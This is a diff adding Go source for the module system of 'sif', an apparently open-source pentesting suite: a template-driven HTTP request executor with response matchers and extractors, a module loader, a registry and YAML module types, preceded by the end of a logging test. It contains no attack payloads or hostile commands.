t.Errorf("Expected %d lines, got %d", expected, lines)
|
||||
}
|
||||
|
||||
Close()
|
||||
}
|
||||
|
||||
func TestClose(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
|
||||
if err := Write("close_test", tmpDir, "before close\n"); err != nil {
|
||||
t.Fatalf("Write failed: %v", err)
|
||||
}
|
||||
|
||||
if err := Close(); err != nil {
|
||||
t.Fatalf("Close failed: %v", err)
|
||||
}
|
||||
|
||||
// Verify data was flushed on close
|
||||
content, err := os.ReadFile(filepath.Join(tmpDir, "close_test.log"))
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to read log file: %v", err)
|
||||
}
|
||||
|
||||
if string(content) != "before close\n" {
|
||||
t.Errorf("Expected 'before close\\n', got %q", content)
|
||||
}
|
||||
|
||||
// Write after close should create new file handle
|
||||
if err := Write("close_test", tmpDir, "after close\n"); err != nil {
|
||||
t.Fatalf("Write after close failed: %v", err)
|
||||
}
|
||||
|
||||
if err := Close(); err != nil {
|
||||
t.Fatalf("Second close failed: %v", err)
|
||||
}
|
||||
|
||||
content, err = os.ReadFile(filepath.Join(tmpDir, "close_test.log"))
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to read log file: %v", err)
|
||||
}
|
||||
|
||||
if string(content) != "before close\nafter close\n" {
|
||||
t.Errorf("Expected both writes, got %q", content)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,401 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package modules
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MaxBodySize limits response body to prevent memory exhaustion.
|
||||
const MaxBodySize = 5 * 1024 * 1024
|
||||
|
||||
// httpRequest represents a generated HTTP request.
|
||||
type httpRequest struct {
|
||||
Method string
|
||||
URL string
|
||||
Headers map[string]string
|
||||
Body string
|
||||
Payload string
|
||||
Original string // Original path template
|
||||
}
|
||||
|
||||
// ExecuteHTTPModule runs an HTTP-based module.
|
||||
func ExecuteHTTPModule(ctx context.Context, target string, def *YAMLModule, opts Options) (*Result, error) {
|
||||
if def.HTTP == nil {
|
||||
return nil, fmt.Errorf("no HTTP configuration")
|
||||
}
|
||||
|
||||
cfg := def.HTTP
|
||||
result := &Result{
|
||||
ModuleID: def.ID,
|
||||
Target: target,
|
||||
Findings: make([]Finding, 0),
|
||||
}
|
||||
|
||||
// Create HTTP client
|
||||
client := opts.Client
|
||||
if client == nil {
|
||||
client = &http.Client{
|
||||
Timeout: opts.Timeout,
|
||||
Transport: &http.Transport{
|
||||
MaxIdleConns: 100,
|
||||
MaxIdleConnsPerHost: 10,
|
||||
IdleConnTimeout: 90 * time.Second,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// Generate requests based on paths and payloads
|
||||
requests := generateHTTPRequests(target, cfg)
|
||||
|
||||
// Determine thread count
|
||||
threads := cfg.Threads
|
||||
if threads == 0 {
|
||||
threads = opts.Threads
|
||||
}
|
||||
if threads == 0 {
|
||||
threads = 10
|
||||
}
|
||||
|
||||
// Execute requests concurrently
|
||||
var wg sync.WaitGroup
|
||||
var mu sync.Mutex
|
||||
resultsChan := make(chan Finding, len(requests))
|
||||
|
||||
// Limit concurrency
|
||||
sem := make(chan struct{}, threads)
|
||||
|
||||
for _, req := range requests {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return result, ctx.Err()
|
||||
case sem <- struct{}{}:
|
||||
}
|
||||
|
||||
wg.Add(1)
|
||||
go func(r *httpRequest) {
|
||||
defer wg.Done()
|
||||
defer func() { <-sem }()
|
||||
|
||||
finding, ok := executeHTTPRequest(ctx, client, r, cfg, def.Info.Severity)
|
||||
if ok {
|
||||
resultsChan <- finding
|
||||
}
|
||||
}(req)
|
||||
}
|
||||
|
||||
// Collect results
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultsChan)
|
||||
}()
|
||||
|
||||
for finding := range resultsChan {
|
||||
mu.Lock()
|
||||
result.Findings = append(result.Findings, finding)
|
||||
mu.Unlock()
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// generateHTTPRequests creates all requests based on paths and payloads.
|
||||
func generateHTTPRequests(target string, cfg *HTTPConfig) []*httpRequest {
|
||||
var requests []*httpRequest
|
||||
|
||||
// Ensure target has no trailing slash
|
||||
target = strings.TrimSuffix(target, "/")
|
||||
|
||||
method := cfg.Method
|
||||
if method == "" {
|
||||
method = "GET"
|
||||
}
|
||||
|
||||
// If no payloads, just use paths directly
|
||||
if len(cfg.Payloads) == 0 {
|
||||
for _, path := range cfg.Paths {
|
||||
url := substituteVariables(path, target, "")
|
||||
requests = append(requests, &httpRequest{
|
||||
Method: method,
|
||||
URL: url,
|
||||
Headers: cfg.Headers,
|
||||
Body: cfg.Body,
|
||||
Original: path,
|
||||
})
|
||||
}
|
||||
return requests
|
||||
}
|
||||
|
||||
// Generate requests with payloads
|
||||
for _, path := range cfg.Paths {
|
||||
for _, payload := range cfg.Payloads {
|
||||
url := substituteVariables(path, target, payload)
|
||||
body := substituteVariables(cfg.Body, target, payload)
|
||||
requests = append(requests, &httpRequest{
|
||||
Method: method,
|
||||
URL: url,
|
||||
Headers: cfg.Headers,
|
||||
Body: body,
|
||||
Payload: payload,
|
||||
Original: path,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
// substituteVariables replaces template variables in a string.
|
||||
func substituteVariables(template, baseURL, payload string) string {
|
||||
result := template
|
||||
result = strings.ReplaceAll(result, "{{BaseURL}}", baseURL)
|
||||
result = strings.ReplaceAll(result, "{{baseurl}}", baseURL)
|
||||
result = strings.ReplaceAll(result, "{{payload}}", payload)
|
||||
result = strings.ReplaceAll(result, "{{Payload}}", payload)
|
||||
return result
|
||||
}
|
||||
|
||||
// executeHTTPRequest executes a single HTTP request and checks matchers.
|
||||
func executeHTTPRequest(ctx context.Context, client *http.Client, r *httpRequest, cfg *HTTPConfig, severity string) (Finding, bool) {
|
||||
var body io.Reader
|
||||
if r.Body != "" {
|
||||
body = strings.NewReader(r.Body)
|
||||
}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, r.Method, r.URL, body)
|
||||
if err != nil {
|
||||
return Finding{}, false
|
||||
}
|
||||
|
||||
// Set headers
|
||||
for k, v := range r.Headers {
|
||||
req.Header.Set(k, v)
|
||||
}
|
||||
if req.Header.Get("User-Agent") == "" {
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (compatible; sif/1.0)")
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return Finding{}, false
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// Read body with limit
|
||||
respBody, err := io.ReadAll(io.LimitReader(resp.Body, MaxBodySize))
|
||||
if err != nil {
|
||||
return Finding{}, false
|
||||
}
|
||||
bodyStr := string(respBody)
|
||||
|
||||
// Check matchers
|
||||
if !checkMatchers(cfg.Matchers, resp, bodyStr) {
|
||||
return Finding{}, false
|
||||
}
|
||||
|
||||
// Extract data
|
||||
extracted := runExtractors(cfg.Extractors, resp, bodyStr)
|
||||
|
||||
return Finding{
|
||||
URL: r.URL,
|
||||
Severity: severity,
|
||||
Evidence: truncateEvidence(bodyStr),
|
||||
Extracted: extracted,
|
||||
}, true
|
||||
}
|
||||
|
||||
// checkMatchers evaluates all matchers against the response.
|
||||
func checkMatchers(matchers []Matcher, resp *http.Response, body string) bool {
|
||||
if len(matchers) == 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
// Default to AND condition across matchers
|
||||
for _, m := range matchers {
|
||||
matched := checkMatcher(m, resp, body)
|
||||
if m.Negative {
|
||||
matched = !matched
|
||||
}
|
||||
if !matched {
|
||||
return false // AND logic
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
// checkMatcher evaluates a single matcher.
|
||||
func checkMatcher(m Matcher, resp *http.Response, body string) bool {
|
||||
part := getPart(m.Part, resp, body)
|
||||
|
||||
switch m.Type {
|
||||
case "status":
|
||||
for _, status := range m.Status {
|
||||
if resp.StatusCode == status {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
|
||||
case "word":
|
||||
return checkWords(part, m.Words, m.Condition)
|
||||
|
||||
case "regex":
|
||||
return checkRegex(part, m.Regex, m.Condition)
|
||||
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// getPart extracts the relevant part of the response.
|
||||
func getPart(part string, resp *http.Response, body string) string {
|
||||
switch part {
|
||||
case "header", "headers":
|
||||
var sb strings.Builder
|
||||
for k, v := range resp.Header {
|
||||
sb.WriteString(k)
|
||||
sb.WriteString(": ")
|
||||
sb.WriteString(strings.Join(v, ", "))
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
return sb.String()
|
||||
case "body":
|
||||
return body
|
||||
case "all", "":
|
||||
var sb strings.Builder
|
||||
for k, v := range resp.Header {
|
||||
sb.WriteString(k)
|
||||
sb.WriteString(": ")
|
||||
sb.WriteString(strings.Join(v, ", "))
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
sb.WriteString("\n")
|
||||
sb.WriteString(body)
|
||||
return sb.String()
|
||||
default:
|
||||
return body
|
||||
}
|
||||
}
|
||||
|
||||
// checkWords checks if any/all words are found.
|
||||
func checkWords(content string, words []string, condition string) bool {
|
||||
if condition == "or" {
|
||||
for _, word := range words {
|
||||
if strings.Contains(content, word) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
// Default to AND
|
||||
for _, word := range words {
|
||||
if !strings.Contains(content, word) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// checkRegex checks if any/all regex patterns match.
|
||||
func checkRegex(content string, patterns []string, condition string) bool {
|
||||
if condition == "or" {
|
||||
for _, pattern := range patterns {
|
||||
re, err := regexp.Compile(pattern)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if re.MatchString(content) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
// Default to AND
|
||||
for _, pattern := range patterns {
|
||||
re, err := regexp.Compile(pattern)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if !re.MatchString(content) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// runExtractors extracts data from the response.
|
||||
func runExtractors(extractors []Extractor, resp *http.Response, body string) map[string]string {
|
||||
if len(extractors) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
result := make(map[string]string)
|
||||
|
||||
for _, e := range extractors {
|
||||
part := getPart(e.Part, resp, body)
|
||||
|
||||
switch e.Type {
|
||||
case "regex":
|
||||
for _, pattern := range e.Regex {
|
||||
re, err := regexp.Compile(pattern)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
matches := re.FindStringSubmatch(part)
|
||||
if len(matches) > e.Group {
|
||||
result[e.Name] = matches[e.Group]
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// truncateEvidence limits evidence length for storage.
|
||||
func truncateEvidence(s string) string {
|
||||
const maxLen = 500
|
||||
if len(s) > maxLen {
|
||||
return s[:maxLen] + "..."
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// ExecuteDNSModule runs a DNS-based module (stub for now).
|
||||
func ExecuteDNSModule(ctx context.Context, target string, def *YAMLModule, opts Options) (*Result, error) {
|
||||
// TODO: Implement DNS module execution
|
||||
return &Result{
|
||||
ModuleID: def.ID,
|
||||
Target: target,
|
||||
Findings: []Finding{},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// ExecuteTCPModule runs a TCP-based module (stub for now).
|
||||
func ExecuteTCPModule(ctx context.Context, target string, def *YAMLModule, opts Options) (*Result, error) {
|
||||
// TODO: Implement TCP module execution
|
||||
return &Result{
|
||||
ModuleID: def.ID,
|
||||
Target: target,
|
||||
Findings: []Finding{},
|
||||
}, nil
|
||||
}
|
||||
@@ -0,0 +1,153 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package modules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/output"
|
||||
)
|
||||
|
||||
// Loader handles module discovery and loading.
|
||||
type Loader struct {
|
||||
builtinDir string
|
||||
userDir string
|
||||
loaded int
|
||||
}
|
||||
|
||||
// NewLoader creates a new module loader.
|
||||
// It automatically detects the built-in modules directory and sets up
|
||||
// the user modules directory based on the operating system.
|
||||
func NewLoader() (*Loader, error) {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("get home dir: %w", err)
|
||||
}
|
||||
|
||||
// Find built-in modules relative to executable
|
||||
execPath, err := os.Executable()
|
||||
if err != nil {
|
||||
execPath = "."
|
||||
}
|
||||
builtinDir := filepath.Join(filepath.Dir(execPath), "modules")
|
||||
|
||||
// Also check current working directory for development
|
||||
if _, err := os.Stat(builtinDir); os.IsNotExist(err) {
|
||||
builtinDir = "modules"
|
||||
}
|
||||
|
||||
// User modules directory based on OS
|
||||
var userDir string
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
userDir = filepath.Join(home, "AppData", "Local", "sif", "modules")
|
||||
default:
|
||||
userDir = filepath.Join(home, ".config", "sif", "modules")
|
||||
}
|
||||
|
||||
return &Loader{
|
||||
builtinDir: builtinDir,
|
||||
userDir: userDir,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// LoadAll discovers and loads all modules from both built-in
|
||||
// and user directories.
|
||||
func (l *Loader) LoadAll() error {
|
||||
// Load built-in modules first
|
||||
if err := l.loadDir(l.builtinDir, false); err != nil {
|
||||
log.Debugf("No built-in modules found: %v", err)
|
||||
}
|
||||
|
||||
// Load user modules (can override built-in)
|
||||
if err := l.loadDir(l.userDir, true); err != nil {
|
||||
// User dir might not exist, that's OK
|
||||
if !os.IsNotExist(err) {
|
||||
log.Debugf("No user modules found: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
if l.loaded > 0 {
|
||||
modLog := output.Module("MODULES")
|
||||
modLog.Info("Loaded %d modules", l.loaded)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// loadDir loads modules from a directory.
|
||||
func (l *Loader) loadDir(dir string, userDefined bool) error {
|
||||
return filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
|
||||
switch filepath.Ext(path) {
|
||||
case ".yaml", ".yml":
|
||||
if err := l.loadYAML(path); err != nil {
|
||||
log.Warnf("Failed to load module %s: %v", path, err)
|
||||
} else {
|
||||
l.loaded++
|
||||
}
|
||||
case ".go":
|
||||
if err := l.loadScript(path); err != nil {
|
||||
log.Debugf("Failed to load script %s: %v", path, err)
|
||||
} else {
|
||||
l.loaded++
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
// loadYAML loads a YAML module definition.
|
||||
func (l *Loader) loadYAML(path string) error {
|
||||
def, err := ParseYAMLModule(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
module := newYAMLModuleWrapper(def, path)
|
||||
Register(module)
|
||||
return nil
|
||||
}
|
||||
|
||||
// loadScript loads a Go script module.
|
||||
// Implementation will be provided in script.go.
|
||||
func (l *Loader) loadScript(path string) error {
|
||||
// Will be implemented in script.go
|
||||
return nil
|
||||
}
|
||||
|
||||
// BuiltinDir returns the built-in modules directory path.
|
||||
func (l *Loader) BuiltinDir() string {
|
||||
return l.builtinDir
|
||||
}
|
||||
|
||||
// UserDir returns the user modules directory path.
|
||||
func (l *Loader) UserDir() string {
|
||||
return l.userDir
|
||||
}
|
||||
|
||||
// Loaded returns the number of loaded modules.
|
||||
func (l *Loader) Loaded() int {
|
||||
return l.loaded
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
// Package modules provides the module system infrastructure for SIF.
|
||||
// It defines the core interfaces, types, and utilities for building
|
||||
// and executing security scanning modules.
|
||||
package modules
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ModuleType represents the type of module.
|
||||
type ModuleType string
|
||||
|
||||
const (
|
||||
TypeHTTP ModuleType = "http"
|
||||
TypeDNS ModuleType = "dns"
|
||||
TypeTCP ModuleType = "tcp"
|
||||
TypeScript ModuleType = "script"
|
||||
)
|
||||
|
||||
// Module is the interface all modules implement.
|
||||
// Each module must provide metadata, specify its type, and implement
|
||||
// an Execute method for running the scan against a target.
|
||||
type Module interface {
|
||||
// Info returns the module metadata.
|
||||
Info() Info
|
||||
|
||||
// Type returns the module type (http, dns, tcp, script).
|
||||
Type() ModuleType
|
||||
|
||||
// Execute runs the module against the specified target.
|
||||
Execute(ctx context.Context, target string, opts Options) (*Result, error)
|
||||
}
|
||||
|
||||
// Info contains module metadata.
|
||||
type Info struct {
|
||||
ID string `yaml:"id" json:"id"`
|
||||
Name string `yaml:"name" json:"name"`
|
||||
Author string `yaml:"author" json:"author"`
|
||||
Severity string `yaml:"severity" json:"severity"`
|
||||
Description string `yaml:"description" json:"description"`
|
||||
Tags []string `yaml:"tags" json:"tags"`
|
||||
}
|
||||
|
||||
// Options for module execution.
|
||||
type Options struct {
|
||||
Timeout time.Duration
|
||||
Threads int
|
||||
LogDir string
|
||||
Client *http.Client
|
||||
}
|
||||
|
||||
// Result from module execution.
|
||||
type Result struct {
|
||||
ModuleID string `json:"module_id"`
|
||||
Target string `json:"target"`
|
||||
Findings []Finding `json:"findings,omitempty"`
|
||||
}
|
||||
|
||||
// ResultType implements the ScanResult interface from pkg/scan.
|
||||
func (r *Result) ResultType() string {
|
||||
return r.ModuleID
|
||||
}
|
||||
|
||||
// Finding represents a discovered issue.
|
||||
type Finding struct {
|
||||
URL string `json:"url,omitempty"`
|
||||
Severity string `json:"severity"`
|
||||
Evidence string `json:"evidence,omitempty"`
|
||||
Extracted map[string]string `json:"extracted,omitempty"`
|
||||
}
|
||||
|
||||
// Matcher defines matching logic for module responses.
|
||||
// Matchers are used to determine if a response indicates a vulnerability.
|
||||
type Matcher struct {
|
||||
Type string `yaml:"type"` // regex, status, word, size
|
||||
Part string `yaml:"part"` // body, header, all
|
||||
Regex []string `yaml:"regex,omitempty"`
|
||||
Words []string `yaml:"words,omitempty"`
|
||||
Status []int `yaml:"status,omitempty"`
|
||||
Condition string `yaml:"condition"` // and, or
|
||||
Negative bool `yaml:"negative"`
|
||||
}
|
||||
|
||||
// Extractor defines data extraction from responses.
|
||||
// Extractors pull specific data from matched responses for reporting.
|
||||
type Extractor struct {
|
||||
Type string `yaml:"type"` // regex, kval, json
|
||||
Name string `yaml:"name"`
|
||||
Part string `yaml:"part"`
|
||||
Regex []string `yaml:"regex,omitempty"`
|
||||
Group int `yaml:"group"`
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package modules
|
||||
|
||||
import "sync"
|
||||
|
||||
var (
|
||||
registry = make(map[string]Module)
|
||||
mu sync.RWMutex
|
||||
)
|
||||
|
||||
// Register adds a module to the registry.
|
||||
// If a module with the same ID already exists, it will be overwritten.
|
||||
func Register(m Module) {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
registry[m.Info().ID] = m
|
||||
}
|
||||
|
||||
// Get returns a module by ID.
|
||||
// The second return value indicates whether the module was found.
|
||||
func Get(id string) (Module, bool) {
|
||||
mu.RLock()
|
||||
defer mu.RUnlock()
|
||||
m, ok := registry[id]
|
||||
return m, ok
|
||||
}
|
||||
|
||||
// All returns all registered modules.
|
||||
func All() []Module {
|
||||
mu.RLock()
|
||||
defer mu.RUnlock()
|
||||
result := make([]Module, 0, len(registry))
|
||||
for _, m := range registry {
|
||||
result = append(result, m)
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// ByTag returns modules matching a tag.
|
||||
func ByTag(tag string) []Module {
|
||||
mu.RLock()
|
||||
defer mu.RUnlock()
|
||||
var result []Module
|
||||
for _, m := range registry {
|
||||
for _, t := range m.Info().Tags {
|
||||
if t == tag {
|
||||
result = append(result, m)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// ByType returns modules of a specific type.
|
||||
func ByType(t ModuleType) []Module {
|
||||
mu.RLock()
|
||||
defer mu.RUnlock()
|
||||
var result []Module
|
||||
for _, m := range registry {
|
||||
if m.Type() == t {
|
||||
result = append(result, m)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// Count returns the number of registered modules.
|
||||
func Count() int {
|
||||
mu.RLock()
|
||||
defer mu.RUnlock()
|
||||
return len(registry)
|
||||
}
|
||||
|
||||
// Clear removes all modules from the registry.
|
||||
// This is primarily useful for testing.
|
||||
func Clear() {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
registry = make(map[string]Module)
|
||||
}
|
||||
@@ -0,0 +1,155 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
/*
|
||||
-------------------------------------------------------------------------------------------------
|
||||
: :
|
||||
: SIF - Blazing-fast pentesting suite :
|
||||
: Blaze - BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
-------------------------------------------------------------------------------------------------
|
||||
*/
|
||||
|
||||
package modules
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
// YAMLModule represents a parsed YAML module file
|
||||
type YAMLModule struct {
|
||||
ID string `yaml:"id"`
|
||||
Info YAMLModuleInfo `yaml:"info"`
|
||||
Type ModuleType `yaml:"type"`
|
||||
HTTP *HTTPConfig `yaml:"http,omitempty"`
|
||||
DNS *DNSConfig `yaml:"dns,omitempty"`
|
||||
TCP *TCPConfig `yaml:"tcp,omitempty"`
|
||||
}
|
||||
|
||||
// YAMLModuleInfo contains module metadata
|
||||
type YAMLModuleInfo struct {
|
||||
Name string `yaml:"name"`
|
||||
Author string `yaml:"author"`
|
||||
Severity string `yaml:"severity"`
|
||||
Description string `yaml:"description"`
|
||||
Tags []string `yaml:"tags"`
|
||||
}
|
||||
|
||||
// HTTPConfig defines HTTP module settings
|
||||
type HTTPConfig struct {
|
||||
Method string `yaml:"method"`
|
||||
Paths []string `yaml:"paths"`
|
||||
Payloads []string `yaml:"payloads,omitempty"`
|
||||
Headers map[string]string `yaml:"headers,omitempty"`
|
||||
Body string `yaml:"body,omitempty"`
|
||||
Attack string `yaml:"attack,omitempty"` // sniper, pitchfork, clusterbomb
|
||||
Threads int `yaml:"threads,omitempty"`
|
||||
Matchers []Matcher `yaml:"matchers"`
|
||||
Extractors []Extractor `yaml:"extractors,omitempty"`
|
||||
}
|
||||
|
||||
// DNSConfig defines DNS module settings
|
||||
type DNSConfig struct {
|
||||
Type string `yaml:"type"` // A, AAAA, MX, TXT, NS, etc.
|
||||
Name string `yaml:"name"`
|
||||
Matchers []Matcher `yaml:"matchers"`
|
||||
Extractors []Extractor `yaml:"extractors,omitempty"`
|
||||
}
|
||||
|
||||
// TCPConfig defines TCP module settings
|
||||
type TCPConfig struct {
|
||||
Port int `yaml:"port"`
|
||||
Data string `yaml:"data,omitempty"`
|
||||
Matchers []Matcher `yaml:"matchers"`
|
||||
Extractors []Extractor `yaml:"extractors,omitempty"`
|
||||
}
|
||||
|
||||
// ParseYAMLModule parses a YAML file into a module definition
|
||||
func ParseYAMLModule(path string) (*YAMLModule, error) {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read module file: %w", err)
|
||||
}
|
||||
|
||||
var ym YAMLModule
|
||||
if err := yaml.Unmarshal(data, &ym); err != nil {
|
||||
return nil, fmt.Errorf("parse yaml: %w", err)
|
||||
}
|
||||
|
||||
if ym.ID == "" {
|
||||
return nil, fmt.Errorf("module missing required field: id")
|
||||
}
|
||||
|
||||
if ym.Type == "" {
|
||||
return nil, fmt.Errorf("module missing required field: type")
|
||||
}
|
||||
|
||||
return &ym, nil
|
||||
}
|
||||
|
||||
// yamlModuleWrapper wraps YAMLModule to implement the Module interface
|
||||
type yamlModuleWrapper struct {
|
||||
def *YAMLModule
|
||||
path string
|
||||
}
|
||||
|
||||
// newYAMLModuleWrapper creates a Module from a YAMLModule definition
|
||||
func newYAMLModuleWrapper(def *YAMLModule, path string) *yamlModuleWrapper {
|
||||
return &yamlModuleWrapper{def: def, path: path}
|
||||
}
|
||||
|
||||
// Info returns the module metadata
|
||||
func (m *yamlModuleWrapper) Info() Info {
|
||||
return Info{
|
||||
ID: m.def.ID,
|
||||
Name: m.def.Info.Name,
|
||||
Author: m.def.Info.Author,
|
||||
Severity: m.def.Info.Severity,
|
||||
Description: m.def.Info.Description,
|
||||
Tags: m.def.Info.Tags,
|
||||
}
|
||||
}
|
||||
|
||||
// Type returns the module type
|
||||
func (m *yamlModuleWrapper) Type() ModuleType {
|
||||
return m.def.Type
|
||||
}
|
||||
|
||||
// Execute runs the module (delegates to appropriate executor)
|
||||
func (m *yamlModuleWrapper) Execute(ctx context.Context, target string, opts Options) (*Result, error) {
|
||||
switch m.def.Type {
|
||||
case TypeHTTP:
|
||||
if m.def.HTTP == nil {
|
||||
return nil, fmt.Errorf("HTTP module missing http configuration")
|
||||
}
|
||||
return ExecuteHTTPModule(ctx, target, m.def, opts)
|
||||
case TypeDNS:
|
||||
if m.def.DNS == nil {
|
||||
return nil, fmt.Errorf("DNS module missing dns configuration")
|
||||
}
|
||||
return ExecuteDNSModule(ctx, target, m.def, opts)
|
||||
case TypeTCP:
|
||||
if m.def.TCP == nil {
|
||||
return nil, fmt.Errorf("TCP module missing tcp configuration")
|
||||
}
|
||||
return ExecuteTCPModule(ctx, target, m.def, opts)
|
||||
default:
|
||||
return nil, fmt.Errorf("unsupported module type: %s", m.def.Type)
|
||||
}
|
||||
}
|
||||
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
